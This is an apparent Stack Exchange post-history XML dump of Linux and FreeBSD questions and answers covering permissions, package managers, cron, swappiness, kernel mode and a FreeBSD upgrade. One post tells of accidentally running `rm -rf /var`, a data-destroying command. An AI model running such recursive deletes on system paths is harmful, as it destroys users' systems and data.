  <row Id="1531" PostHistoryTypeId="5" PostId="825" RevisionGUID="8e3337ca-5faa-41a4-8299-f5175272e6bd" CreationDate="2010-08-19T20:42:35.217" UserId="481" Comment="added 261 characters in body" Text="Edit: On second thought, I realized that I may have misunderstood the question. If you want the directory to only be visible to a specific user (i.e. for every other user, that list doesn't even show up in the directory listing), you can't do that without prohibiting other users from listing the contents of the parent directory. So if the directory is `/foo/bar` then you can remove the `x` permission on `/foo` (for everyone but the owner) preventing other users from listing the contents of `/foo`, but you can't hide `/foo/bar` specifically (though you can certainly hide its contents).&#xD;&#xA;&#xD;&#xA;Old answer:&#xD;&#xA;&#xD;&#xA;Make that specific user the owner of the directory and then remove all permissions on that directory for everyone but the owner. In the shell, you'd use `chmod` to do this:&#xD;&#xA;&#xD;&#xA;    chmod 700 the_directory&#xD;&#xA;&#xD;&#xA;If you're using a filemanager, just remove all the checkmarks in the permissions-tab except the ones in the &quot;User&quot;-column (the exact details depend on the filemanager of course)." />
  <row Id="1532" PostHistoryTypeId="2" PostId="827" RevisionGUID="1f14e493-2a42-4791-990f-56eddfebbe02" CreationDate="2010-08-19T20:43:35.810" UserId="728" Text="As mentioned be http://pthree.org/2007/08/12/aptitude-vs-apt-get/, `apitude` has a much easier to use command-line interface.&#xD;&#xA;&#xD;&#xA;&gt; Under the hood, aren't they using the same APT system? &#xD;&#xA;Yes.&#xD;&#xA;&#xD;&#xA;The underlying system is not just apt, but `dpkg`. This system is just as dumb as RPM, it can only handle the installation and administration of single packages. It tracks which installed files belong to which package.&#xD;&#xA;&#xD;&#xA;Apt handles the downloads of repositories, tracking of dependencies, and so on for all individual packages - which it then installs using `dpkg`. Apitude does the same, with a different interface." />
  <row Id="1534" PostHistoryTypeId="2" PostId="828" RevisionGUID="20b59360-7cff-4267-9e15-99505aeda265" CreationDate="2010-08-19T20:45:54.523" UserId="5" Text="[This tutorial][1] explains in all details how to set file permissions in Linux (and therefore also in Ubuntu) such that you can control the access.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.comptechdoc.org/os/linux/usersguide/linux_ugfilesp.html" />
  <row Id="1535" PostHistoryTypeId="2" PostId="829" RevisionGUID="9ee6640d-3470-4cdc-bb22-b64b837eedd6" CreationDate="2010-08-19T20:58:16.787" UserId="305" Text="I'd say 8.0 is more likely to be longer supported. Usually the previous branch contains mostly fixes and most heavy support goes to new branch. The only exceptions may be releases that are big failures and in such cases 8.0 could get 'forgotten'. But it is rather rare case." />
  <row Id="1536" PostHistoryTypeId="2" PostId="830" RevisionGUID="babb7d9a-e6f5-4430-8173-61fbbd7033a8" CreationDate="2010-08-19T21:40:11.577" UserId="62" Text="Have you tried the xfce terminal emulator? It meets all of your requirements except for the font zoom." />
  <row Id="1537" PostHistoryTypeId="6" PostId="821" RevisionGUID="dfba7d89-1a80-4419-b16e-7788194b3f05" CreationDate="2010-08-19T21:45:37.083" UserId="4" Comment="edited tags" Text="éterminalàéxtermöterminalàéterminalöemulatorà" />
  <row Id="1538" PostHistoryTypeId="6" PostId="822" RevisionGUID="efed23dc-dd65-4303-816e-58f27a50c4b1" CreationDate="2010-08-19T21:47:06.537" UserId="85" Comment="edited tags" Text="ésecurityà" />
  <row Id="1539" PostHistoryTypeId="2" PostId="831" RevisionGUID="b8ae850e-1036-4ce6-baf8-d7f40d1fe802" CreationDate="2010-08-19T21:50:14.990" UserId="85" Text="If you prefer to do this from the GUI, this is explained in the help for the GNOME file browser (known as Nautilus):&#xD;&#xA;&#xD;&#xA;http://library.gnome.org/users/user-guide/2.29/nautilus-permissions.html.en#nautilus-permissions-folder&#xD;&#xA;&#xD;&#xA;Basically, you just select the folder, and then from the menu choose File-&gt;Properties-&gt;Permissions.&#xD;&#xA;&#xD;&#xA;Otherwise, sepp2k's answer is absolutely correct, and txwikinger's link is great if you're interested in an in-depth explanation of unix file permissions." />
  <row Id="1540" PostHistoryTypeId="2" PostId="832" RevisionGUID="a5eef3f5-8626-4d97-8702-1ea9b6e76c47" CreationDate="2010-08-19T21:53:07.033" UserId="728" Text="A lot of people compare installing software with `apt-get` to `rpm -i`, and therefore say DEB better. This however, has nothing to do with the DEB file format. The real comparison is `dpkg` vs `rpm` and `apitude`/`apt-*` vs `zypper`/`yum`.&#xD;&#xA;&#xD;&#xA;For a user point of view, there isn't much difference in these tools. The RPM and DEB formats are both just archive files, with some metadata attached to them. They are both as arcane, have hardcoded file paths (yuk!) and only differ in subtle details. Both `dpkg -i` and `rpm -i` have no way of figuring out how to install depencies, except if they happen to be specified at the command line.&#xD;&#xA;&#xD;&#xA;On top of these tools, there is a repository management in the form of `apt-...` or `zypper`/`yum`. These tools download repositories, track all metadata and automate the downloading of dependencies. The final installation of each single package is handed over to the low-level tools.&#xD;&#xA;&#xD;&#xA;For a long time, `apt-get` has been superior in processing the enormous metadata really fast, where `yum` would take ages to do it. RPM also suffered from sites like rpmfind, where you found 10+ incompatible packages for different distributions. Apt completely hid this problem for DEB packages, because all packages got installed from the same source.&#xD;&#xA;&#xD;&#xA;In my opinion, `zypper` has really closed to gap with apt, and there is no reason to be ashamed of using an RPM-based distribution these days. It's just as good, if not easier to use with the openSUSE build service at hand for a huge compatible package index." />
  <row Id="1541" PostHistoryTypeId="6" PostId="822" RevisionGUID="f62196c2-ed3f-4347-ba27-709bd06fc372" CreationDate="2010-08-19T21:54:28.030" UserId="85" Comment="edited tags" Text="ésecurityàépermissionsà" />
  <row Id="1542" PostHistoryTypeId="2" PostId="833" RevisionGUID="f46fa5b2-204a-4b3a-84ed-3bb9f7cb13e2" CreationDate="2010-08-19T21:57:28.780" UserId="646" Text="Requiring tabs is going to kill you for size. For a lightweight terminal that has &quot;tabs&quot;, I would recommend `eterm` with `escreen`. Escreen is an interface layer which allows Eterm to support multiple subshell sessions within a single window by interoperating with GNU screen. Thus, on the surface, it works similarly to the &quot;tabbed&quot; sessions you're used to.&#xD;&#xA;&#xD;&#xA;If this doesn't work, you could check out the Fluxbox window manager. Fluxbox allows you to group any windows together into a tabbed interface, and you can even switch tabs with CTRL+TAB. In that case, you could use any lightweight terminal that suits your needs, whether it supports tabs or not: `aterm`, `eterm`, `xterm`, etc." />
  <row Id="1543" PostHistoryTypeId="5" PostId="832" RevisionGUID="75257f46-0b0b-42fd-a511-2db80d9a2b08" CreationDate="2010-08-19T21:59:40.947" UserId="728" Comment="added 3 characters in body" Text="A lot of people compare installing software with `apt-get` to `rpm -i`, and therefore say DEB better. This however, has nothing to do with the DEB file format. The real comparison is `dpkg` vs `rpm` and `apitude`/`apt-*` vs `zypper`/`yum`.&#xD;&#xA;&#xD;&#xA;For a user point of view, there isn't much difference in these tools. The RPM and DEB formats are both just archive files, with some metadata attached to them. They are both as arcane, have hardcoded install paths (yuk!) and only differ in subtle details. Both `dpkg -i` and `rpm -i` have no way of figuring out how to install depencies, except if they happen to be specified at the command line.&#xD;&#xA;&#xD;&#xA;On top of these tools, there is a repository management in the form of `apt-...` or `zypper`/`yum`. These tools download repositories, track all metadata and automate the downloading of dependencies. The final installation of each single package is handed over to the low-level tools.&#xD;&#xA;&#xD;&#xA;For a long time, `apt-get` has been superior in processing the enormous metadata really fast, where `yum` would take ages to do it. RPM also suffered from sites like rpmfind, where you found 10+ incompatible packages for different distributions. Apt completely hid this problem for DEB packages, because all packages got installed from the same source.&#xD;&#xA;&#xD;&#xA;In my opinion, `zypper` has really closed to gap with apt, and there is no reason to be ashamed of using an RPM-based distribution these days. It's just as good, if not easier to use with the openSUSE build service at hand for a huge compatible package index." />
  <row Id="1544" PostHistoryTypeId="2" PostId="834" RevisionGUID="3fb3a8f4-b8ef-4eb3-8c2b-1125ca7c0b78" CreationDate="2010-08-19T22:22:44.407" UserId="759" Text="I have got a bit lost and am not sure which technology to choose for full disk encryption. It is hard to tell if the information out there is still up to date. Is there a current best practice solution for this?" />
  <row Id="1545" PostHistoryTypeId="1" PostId="834" RevisionGUID="3fb3a8f4-b8ef-4eb3-8c2b-1125ca7c0b78" CreationDate="2010-08-19T22:22:44.407" UserId="759" Text="Best way to do full disk encryption?" />
  <row Id="1546" PostHistoryTypeId="3" PostId="834" RevisionGUID="3fb3a8f4-b8ef-4eb3-8c2b-1125ca7c0b78" CreationDate="2010-08-19T22:22:44.407" UserId="759" Text="élinuxàésecurityàéfilesystemsà" />
  <row Id="1547" PostHistoryTypeId="2" PostId="835" RevisionGUID="947f9065-3b30-4d1c-9aad-43e88fceae7f" CreationDate="2010-08-19T22:25:51.877" UserId="628" Text="The RELENG_N branch will always be supported longer than RELENG_(N-1) branch.&#xD;&#xA;&#xD;&#xA;The more important question is &quot;Should I install a N.0 release or do you wait for N.1?&quot;&#xD;&#xA;&#xD;&#xA;Since FreeBSD 8 is already at 8.1 I would recommend 8.1 for any new installs unless you have a specific reason for not wanting the latest version.&#xD;&#xA;&#xD;&#xA;To answer your specific question: RELENG_7 will be supported at least as long as RELENG_7_3 but if RELENG_7_4 is released then RELENG_7 will be support as long as 7_4.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1548" PostHistoryTypeId="2" PostId="836" RevisionGUID="1f70e4c1-b478-49dd-a744-720187f5b722" CreationDate="2010-08-19T22:35:36.737" UserId="761" Text="No, but: rxvt-unicode has tab support.&#xD;&#xA;&#xD;&#xA;Add this to your .Xdefaults/.Xresources:&#xD;&#xA;&#xD;&#xA;urxvt.perl-ext-common: default,tabbed&#xD;&#xA;&#xD;&#xA;I also like to disable the 'selection' perl extension so that it is possible to triple-click-and-drag to select multiple complete lines (as in xterm). Then your .Xdefaults would look like this:&#xD;&#xA;&#xD;&#xA;urxvt.perl-ext-common: default,tabbed,-selection" />
  <row Id="1549" PostHistoryTypeId="2" PostId="837" RevisionGUID="adff5239-4fae-436b-abbe-fa3498da35bd" CreationDate="2010-08-19T22:43:19.783" UserId="757" Text="Lately I've been trying out storing database dumps in git. This may get impractical if your database dumps are really large, but it's worked for me for smallish databases (Wordpress sites and the like).&#xD;&#xA;&#xD;&#xA;My backup script is roughly:&#xD;&#xA;&#xD;&#xA;    cd /where/I/keep/backups &amp;&amp; \&#xD;&#xA;    mysqldump &gt; backup.sql &amp;&amp; \&#xD;&#xA;    git commit -q -m &quot;db dump `date '+%F-%T'`&quot; backup.sql" />
  <row Id="1550" PostHistoryTypeId="2" PostId="838" RevisionGUID="5b431f8c-285a-4622-a473-eeab8f29bfc0" CreationDate="2010-08-19T22:47:50.370" UserId="753" Text="I am having trouble figuring out how to set up my first cron job. I simply want to run this command once every week:&#xD;&#xA;&#xD;&#xA;    dpkg -l &gt; ~/Dropbox/installed_packages&#xD;&#xA;&#xD;&#xA;My /etc/crontab file contains the line&#xD;&#xA;&#xD;&#xA;    7 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.weekly )&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;So I need to place my command somewhere in the directory /etc/cron.weekly - but in which file? /etc/cron.weekly currently contains the following files:&#xD;&#xA;&#xD;&#xA;    apt-xapian-index  man-db  0anacron  cvs&#xD;&#xA;&#xD;&#xA;Thanks for your help" />
  <row Id="1551" PostHistoryTypeId="1" PostId="838" RevisionGUID="5b431f8c-285a-4622-a473-eeab8f29bfc0" CreationDate="2010-08-19T22:47:50.370" UserId="753" Text="Weekly cron job to save list of installed package" />
  <row Id="1552" PostHistoryTypeId="3" PostId="838" RevisionGUID="5b431f8c-285a-4622-a473-eeab8f29bfc0" CreationDate="2010-08-19T22:47:50.370" UserId="753" Text="écronà" />
  <row Id="1553" PostHistoryTypeId="2" PostId="839" RevisionGUID="64f25752-da44-4f20-a054-5730099eec07" CreationDate="2010-08-19T22:59:15.253" UserId="669" Text="I had two drives installed at one point and had the root filesystem of the second drive mounted in a directory within /mnt. I was in that directory and tried to delete var but ended up typing `rm -rf /var` instead. Some instinct seemed to kick in that said var _must_ be preceded with a slash!&#xD;&#xA;&#xD;&#xA;When I realised what I'd done I immediately hit Ctrl-C but it was too late. My `rpm` database had long since left the building. I spent ages getting everything back to normal.&#xD;&#xA;&#xD;&#xA;Now for the painful part.&#xD;&#xA;&#xD;&#xA;I go back into that directory in /mnt to resume what I'd been doing. What do I type? Well, let's just say that instinct kicked in again.&#xD;&#xA;&#xD;&#xA;At least I was able to restore the system a lot quicker the second time ;)" />
  <row Id="1554" PostHistoryTypeId="16" PostId="839" RevisionGUID="64f25752-da44-4f20-a054-5730099eec07" CreationDate="2010-08-19T22:59:15.253" UserId="-1" />
  <row Id="1555" PostHistoryTypeId="2" PostId="840" RevisionGUID="56a36885-03c0-4a38-b4f8-d58f20b91fd4" CreationDate="2010-08-19T23:01:35.920" UserId="728" Text="The short answer is: it just tells you where programs are spending their time at.&#xD;&#xA;&#xD;&#xA;For a longer answer, I'll explain this in two steps. First:&#xD;&#xA;&#xD;&#xA;**1. Entering kernel mode**&#xD;&#xA;&#xD;&#xA;Every regular code you write, runs in &quot;user mode&quot;.&#xD;&#xA;&#xD;&#xA;Programs can use libraries to do common tasks for them. This is also user mode code.&#xD;&#xA;&#xD;&#xA;At some point, the program may require a core function from the system. For example:&#xD;&#xA;&#xD;&#xA; * accessing file contents from disk&#xD;&#xA; * reserving a part the free memory&#xD;&#xA; * getting video frame from a webcam driver&#xD;&#xA; * sending image data to the graphics card.&#xD;&#xA; * sending a network packet.&#xD;&#xA;&#xD;&#xA;This essential - close to hardware - functionality is part of the kernel. That's the central program behind everything on your computer. It manages everything programs need in order to function.&#xD;&#xA;&#xD;&#xA;To use a function in the kernel, the program execution path literally makes a jump from User mode to Kernel code. The kernel does it's job, and folds the execution path back to  user mode.&#xD;&#xA;&#xD;&#xA;When a program spends a lot of time in kernel mode, it often means it's doing a lot of hardware related activity. For example, disk seeks or video streaming. The hardware could also be malfunctioning; making the processing slow and causing the program to spend an unusual amount of time in kernel space.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;**2 the difference**&#xD;&#xA;&#xD;&#xA;Code in kernel space is high performant. The other parts of the kernel can call it directly, and the code has direct access to every resource of the system, without any boundary checking. The switching between kernel/user mode is also an expensive operation, which is completely avoided by running everything in kernel code.&#xD;&#xA;&#xD;&#xA;Inside the kernel however, there isn't much room for security checking, protection against crashes, or writing to the wrong parts of memory. These are services the kernel can provide to other programs: by tricking them to believe the world looks different (programs live in a virtual sandboxed environment) and translating/guarding everything that comes in and out from programs to the kernel.&#xD;&#xA;&#xD;&#xA;The kernel itself however, can't have much protection because there is nothing behind it to protect it. It is the heart of the system, and when that stops, everything ends. You get a kernel panic, or on Windows, the famous BSOD.&#xD;&#xA;&#xD;&#xA;That's also the risk of kernel based code, and the reason more subsystems with low performance requirements are being moved to userspace. Essential hardware related parts however, are typically kernel code which is not going to change any time soon." />
  <row Id="1556" PostHistoryTypeId="5" PostId="840" RevisionGUID="8a3bff2d-7d7a-43b9-b8bd-bd5da5397898" CreationDate="2010-08-19T23:11:27.310" UserId="728" Comment="deleted 8 characters in body; added 12 characters in body" Text="The short answer is: it just tells you where programs are spending their time at.&#xD;&#xA;&#xD;&#xA;For a longer answer, I'll explain this in two steps. First:&#xD;&#xA;&#xD;&#xA;**1. Entering kernel mode**&#xD;&#xA;&#xD;&#xA;Every regular code you write, runs in &quot;user mode&quot;.&#xD;&#xA;&#xD;&#xA;Programs can use libraries to do common tasks for them. This is also user mode code.&#xD;&#xA;&#xD;&#xA;At some point, the program may require a core function from the system. For example:&#xD;&#xA;&#xD;&#xA; * accessing file contents from disk&#xD;&#xA; * reserving a part the free memory&#xD;&#xA; * getting video frame from a webcam driver&#xD;&#xA; * sending image data to the graphics card.&#xD;&#xA; * sending a network packet.&#xD;&#xA;&#xD;&#xA;This essential - close to hardware - functionality is part of the kernel. That's the central program behind everything on your computer. It manages everything programs need in order to function.&#xD;&#xA;&#xD;&#xA;To use a function in the kernel, the program execution path literally makes a jump from User mode to Kernel code. The kernel does it's job, and folds the execution path back to  user mode.&#xD;&#xA;&#xD;&#xA;When a program spends a lot of time in kernel mode, it often means it's doing a lot of hardware related activity. For example, disk seeks or video streaming. The hardware could also be malfunctioning; making the processing slow and causing the program to spend an unusual amount of time in kernel space.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;**2 the difference**&#xD;&#xA;&#xD;&#xA;Code in kernel space is high performant. The other parts of the kernel can call it directly, and the code has direct access to every resource of the system, without any boundary checking. The switching between kernel/user mode is also an expensive operation, which is completely avoided by running everything in kernel code.&#xD;&#xA;&#xD;&#xA;Inside the kernel however, there isn't much room for security checking, protection against crashes, or writing to the wrong parts of memory. These are services the kernel can provide to other programs. It tricks programs to believe the world looks different (programs live in a virtual, sandboxed/restricted environment) and therefore everything that comes in/out of programs can be translated and guarded.&#xD;&#xA;&#xD;&#xA;The kernel itself can't have much protection because there is nothing behind it to protect it. It is the heart of the system, and when that stops, everything ends. You get a kernel panic, or on Windows, the famous BSOD.&#xD;&#xA;&#xD;&#xA;That's also the risk of kernel based code, and the reason more subsystems with low performance requirements are being moved to userspace. Essential hardware related parts however, are typically kernel code which is not going to change any time soon." />
  <row Id="1557" PostHistoryTypeId="2" PostId="841" RevisionGUID="921469df-47ad-46de-a077-0f1cc3c7eafd" CreationDate="2010-08-19T23:20:31.757" UserId="773" Text="Create a file with the following content (e.g. `list_packages.sh`):&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;&#xD;&#xA;    dpkg -l &gt; ~/Dropbox/installed_packages&#xD;&#xA;&#xD;&#xA;Place this file in `/etc/cron.weekly/` and it will run once a week." />
  <row Id="1558" PostHistoryTypeId="2" PostId="842" RevisionGUID="7cce56c3-24ee-4431-95ea-e00424971ab6" CreationDate="2010-08-19T23:24:21.687" UserId="728" Text="You can set the value of `/proc/sys/vm/swappiness` to control the ratio of swapping vs keeping things in memory. A value of 0 completely avoids swapping at all costs.&#xD;&#xA;&#xD;&#xA;This can be done using either:&#xD;&#xA;&#xD;&#xA; * `echo 0 &gt; /proc/sys/vm/swappiness`&#xD;&#xA; * `sysctl -w vm.swappiness=0`&#xD;&#xA; * Storing that setting in `/etc/sysctl.conf`&#xD;&#xA;&#xD;&#xA;Generally, using a little swap is not a bad thing. Free memory can be used for caching data read from disk, and the system can plan ahead for a sudden need of lots of memory by an application.&#xD;&#xA;&#xD;&#xA;When too much programs are swapped, there is a lot of disk related activity during every program switch which really makes everything slow down. Old computers with less memory suffered a lot from this problem.&#xD;&#xA;&#xD;&#xA;You can see how much swap is being used by running `free -tm`" />
  <row Id="1559" PostHistoryTypeId="2" PostId="843" RevisionGUID="bb1a9d68-60d2-4a14-8646-cd4c0fc57cba" CreationDate="2010-08-19T23:29:22.897" UserId="382" Text="Check your startup scripts for files that *they* source using `.` (dot) or `source`. Those files could be in other directories besides `/etc` and `$HOME`." />
  <row Id="1560" PostHistoryTypeId="5" PostId="743" RevisionGUID="7c8b9f49-e72f-4b05-bee3-e931c551a54e" CreationDate="2010-08-19T23:30:05.280" UserId="382" Comment="fixed typo" Text="You can also do more complex combinations (try these with `echo` instead of `mkdir` so there's no cleanup afterwards):&#xD;&#xA;&#xD;&#xA;Compare &#xD;&#xA;&#xD;&#xA;    $ echo pre-{{F..G},{3..4},{m..n}}-post&#xD;&#xA;    pre-F-post pre-G-post pre-3-post pre-4-post pre-m-post pre-n-post&#xD;&#xA;&#xD;&#xA;to&#xD;&#xA;&#xD;&#xA;    $ echo pre-{F..G}{3..4}{m..n}-post&#xD;&#xA;    pre-F3m-post pre-F3n-post pre-F4m-post pre-F4n-post pre-G3m-post pre-G3n-post&#xD;&#xA;    pre-G4m-post pre-G4n-post&#xD;&#xA;&#xD;&#xA;If you have Bash 4, try&#xD;&#xA;&#xD;&#xA;    $ echo file{0001..10}&#xD;&#xA;    file0001 file0002 file0003 file0004 file0005 file0006 file0007 file0008 file0009&#xD;&#xA;    file0010&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    $ echo file{0001..10..2}&#xD;&#xA;    file0001 file0003 file0005 file0007 file0009" />
  <row Id="1561" PostHistoryTypeId="5" PostId="842" RevisionGUID="14656c6f-ad36-438d-9c86-2e16984daf25" CreationDate="2010-08-19T23:38:43.957" UserId="728" Comment="added 525 characters in body; added 81 characters in body; added 5 characters in body" Text="You can set the value of `/proc/sys/vm/swappiness` to control the ratio of swapping vs keeping things in memory. A value of 0 completely avoids swapping at all costs.&#xD;&#xA;&#xD;&#xA;This can be done using either:&#xD;&#xA;&#xD;&#xA; * `echo 0 &gt; /proc/sys/vm/swappiness`&#xD;&#xA; * `sysctl -w vm.swappiness=0`&#xD;&#xA; * Storing that setting in `/etc/sysctl.conf`&#xD;&#xA;&#xD;&#xA;Generally, using just a little swap is not a bad thing. Free memory can be used for caching data read from disk, and the system can plan ahead for a sudden need of lots of memory by an application.&#xD;&#xA;&#xD;&#xA;When too much programs are swapped however, there is a lot of disk related activity during every program switch which really makes everything slow down. Before something can be used, it needs to be loaded back into memory.&#xD;&#xA;&#xD;&#xA;Disks reads are horribly slower compared to memory access. Like waiting for an hour before the data arrives. The system has to schedule the read between the other read/write requests, the drive starts making attempts to find the right cylinder, and finally starts delivering data.. slowly.&#xD;&#xA;&#xD;&#xA;Hence, I think your logic is flawed. Generally, you want to keep programs running in memory, and keeping enough room for sudden growth. Not using the swap overly to &quot;write things to disk&quot;.&#xD;&#xA;&#xD;&#xA;Old computers with less memory suffered from swapping problems. With a lot of programs open, you could hear the disk reading and writing all the time - to the swap file." />
  <row Id="1562" PostHistoryTypeId="5" PostId="842" RevisionGUID="913cb2fe-f9ac-4d80-bb8b-3ccb380be124" CreationDate="2010-08-19T23:44:55.023" UserId="728" Comment="added 69 characters in body; deleted 16 characters in body; added 23 characters in body" Text="You can set the value of `/proc/sys/vm/swappiness` to control the ratio of swapping vs keeping things in memory. A value of 0 completely avoids swapping at all costs.&#xD;&#xA;&#xD;&#xA;This can be done using either:&#xD;&#xA;&#xD;&#xA; * `echo 0 &gt; /proc/sys/vm/swappiness`&#xD;&#xA; * `sysctl -w vm.swappiness=0`&#xD;&#xA; * Storing that setting in `/etc/sysctl.conf`&#xD;&#xA;&#xD;&#xA;Generally, using just a little swap is not a bad thing. Free memory can be used for caching data read from disk, and the system can plan ahead for a sudden need of lots of memory by an application.&#xD;&#xA;&#xD;&#xA;When too much programs are swapped however, there is a lot of disk related activity during every program switch which really makes everything slow down. Before something can be used, it needs to be loaded back into memory.&#xD;&#xA;&#xD;&#xA;Disks reads are horribly slower compared to memory access. Like waiting for an hour before the data arrives. The system has to schedule the read between the other read/write requests, the drive starts making attempts to find the right cylinder, and finally starts delivering data.. slowly.&#xD;&#xA;&#xD;&#xA;Hence, I think your logic is flawed. Generally, you want to keep programs running in memory, and keeping enough room for sudden growth. Not using the swap overly to &quot;write things to disk&quot;. It's neither a backup nor a performance improvement.&#xD;&#xA;&#xD;&#xA;Old computers with less memory suffered from swapping problems. With a lot of programs open everything was slow, and you could hear the disk reading and writing all the time. To the swap file." />
  <row Id="1563" PostHistoryTypeId="2" PostId="844" RevisionGUID="364b50d3-b702-41fd-a0bb-08a8a11537ba" CreationDate="2010-08-19T23:50:03.610" UserId="728" Text="Gentoo and Arch provide full rolling releases, for every part of the system.&#xD;&#xA;&#xD;&#xA;Debian and openSUSE provide a stable base system, and for specific parts (e.g. KDE, X11, Firefox) you can add additional repositories which do have rolling releases. It allows you to keep a stable base system, and yet use the latest software you like." />
  <row Id="1564" PostHistoryTypeId="16" PostId="844" RevisionGUID="364b50d3-b702-41fd-a0bb-08a8a11537ba" CreationDate="2010-08-19T23:50:03.610" UserId="-1" />
  <row Id="1567" PostHistoryTypeId="2" PostId="846" RevisionGUID="e08033c8-823b-4943-8a2b-a50becdc3924" CreationDate="2010-08-20T00:08:21.497" UserId="789" Text="I am a .NET C# programmer, I love the .NET stack. I have tried Linux several times but every time I got put off as I could not do anything on it .. (like program for it or on it).&#xD;&#xA;&#xD;&#xA;Ever since Mono was launched, I find myself using Linux a lot more.&#xD;&#xA;&#xD;&#xA;(I have also decided to start learning Python.)&#xD;&#xA;&#xD;&#xA;I would love to learn more about the OS itself - the shell commands, the underlying APIs etc  &#xD;&#xA;&#xD;&#xA;Where do I start, are there any books that are recommended for this?&#xD;&#xA;&#xD;&#xA;I bought a copy of the - Unix Tools 3rd Edition O'Reilly and plan to go over it (end to end) are there any other recommended books?" />
  <row Id="1568" PostHistoryTypeId="1" PostId="846" RevisionGUID="e08033c8-823b-4943-8a2b-a50becdc3924" CreationDate="2010-08-20T00:08:21.497" UserId="789" Text="Linux adoption path for a .NET developer" />
  <row Id="1569" PostHistoryTypeId="3" PostId="846" RevisionGUID="e08033c8-823b-4943-8a2b-a50becdc3924" CreationDate="2010-08-20T00:08:21.497" UserId="789" Text="élinuxàémonoàéûnetàécñà" />
  <row Id="1570" PostHistoryTypeId="2" PostId="847" RevisionGUID="e3cdee97-c7a8-45ab-84d6-33f1faf0b842" CreationDate="2010-08-20T00:11:01.383" UserId="786" Text="Save this as a script, say `installed_packages_list.sh`:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    dpkg -l &gt; ~/Dropbox/installed_packages&#xD;&#xA;&#xD;&#xA;Then run &#xD;&#xA;&#xD;&#xA;    crontab -e&#xD;&#xA;&#xD;&#xA;This will open up a file in a text editor. Type this and save&#xD;&#xA;    &#xD;&#xA;    @weekly /full/path/to/script&#xD;&#xA;&#xD;&#xA;The script will be executed once a week, with privileges of the user who scheduled the cron job. &#xD;&#xA;" />
  <row Id="1571" PostHistoryTypeId="5" PostId="846" RevisionGUID="10101112-734b-443d-aa94-e77aa33c1d63" CreationDate="2010-08-20T00:14:15.540" UserId="789" Comment="added 171 characters in body" Text="I am a .NET C# programmer, I love the .NET stack. I have tried Linux several times but every time I got put off as I could not do anything on it .. (like program for it or on it).&#xD;&#xA;&#xD;&#xA;Ever since Mono was launched, I find myself using Linux a lot more.&#xD;&#xA;&#xD;&#xA;(I have also decided to start learning Python.)&#xD;&#xA;&#xD;&#xA;I would love to learn more about the OS itself - the shell commands, the underlying APIs etc  &#xD;&#xA;&#xD;&#xA;Where do I start, are there any books that are recommended for this?&#xD;&#xA;&#xD;&#xA;I bought a copy of the - Unix Tools 3rd Edition O'Reilly and plan to go over it (end to end) are there any other recommended books?&#xD;&#xA;&#xD;&#xA;Note: Not that this would matter, but I am using Ubuntu 10.04, I would like to have Fedora, but I have seen many users post issues with their Mono installations on it." />
  <row Id="1572" PostHistoryTypeId="5" PostId="807" RevisionGUID="b486fece-0c64-49d8-9378-51f682493124" CreationDate="2010-08-20T00:19:35.733" UserId="305" Comment="added 992 characters in body" Text="I have 8.0-RELEASE-p4 + few ports installed. I wonder wheather I should update to 8,1.&#xD;&#xA;&#xD;&#xA;1. How long is 8.0 supported?&#xD;&#xA;2. How to update the system? I couldn't find anything about it in handbook.&#xD;&#xA;&#xD;&#xA;**SOLUTION** (based on gvkv answer):&#xD;&#xA;I take the liberty of describing all steps I've done at the end:&#xD;&#xA;&#xD;&#xA;    # STEP 1: Revert to GENERIC kernel&#xD;&#xA;    cd /tmp &#xD;&#xA;    wget -r ftp://ftp.freebsd.org/pub/FreeBSD/releases/i386/8.0-RELEASE/kernels/&#xD;&#xA;    cd pub/FreeBSD/releases/i386/8.0-RELEASE/kernels/&#xD;&#xA;    sha256 generic.* install.sh | diff - CHECKSUM.SHA256&#xD;&#xA;    ./install.sh GENERIC&#xD;&#xA;    nextboot -k GENERIC&#xD;&#xA;    # STEP 2: Upgrade - part 1&#xD;&#xA;    freebsd-update upgrade -r 8.1-RELEASE # Ignore kernel warning. Fix configuration&#xD;&#xA;    freebsd-update install&#xD;&#xA;    shutdown -r now&#xD;&#xA;    # STEP 3: Upgrade - part 2&#xD;&#xA;    nextboot -k GENERIC&#xD;&#xA;    freebsd-update install&#xD;&#xA;    shutdown -r now&#xD;&#xA;    # STEP 4: Upgrade - part 3&#xD;&#xA;    rm -rfv /usr/obj&#xD;&#xA;    portmaster -Raf # Rebuilds all packages. If you don't use portmaster use other tool or do it manually&#xD;&#xA;    cd /usr/src&#xD;&#xA;    make buildkernel KERNCONF=CUSTOM # Rebuild kernel&#xD;&#xA;    make installkernel KERNCONF=CUSTOM # Install kernel&#xD;&#xA;    shutdown -r now" />
  <row Id="1573" PostHistoryTypeId="2" PostId="848" RevisionGUID="2d9edcb2-b81a-4e1c-9c89-362571cd5e3d" CreationDate="2010-08-20T00:27:44.750" UserId="50" Text=" I've used [True Crypt](http://www.truecrypt.org/) before and find it to work very well." />
  <row Id="1574" PostHistoryTypeId="5" PostId="741" RevisionGUID="2356d402-7dcd-4d44-a67b-9c6cebdf71aa" CreationDate="2010-08-20T00:28:14.063" UserId="391" Comment="deleted 5 characters in body" Text="Arch Linux&#xD;&#xA;&quot;Arch Linux is an independently-developed i686/x86-64 community distribution, based on a rolling-release model and targeted at competent GNU/Linux users which offers large binary repositories and full-featured package management as well as a ports-like packaging system. Development focuses on a balance of minimalism, elegance, code correctness and modernity. Version 0.1 (Homer) was released March 11, 2002. &quot; from the [Arch Linux wiki][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1]:http://wiki.archlinux.org/index.php/Arch_Linux&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The Arch wiki, download page are at  http://www.archlinux.org/" />
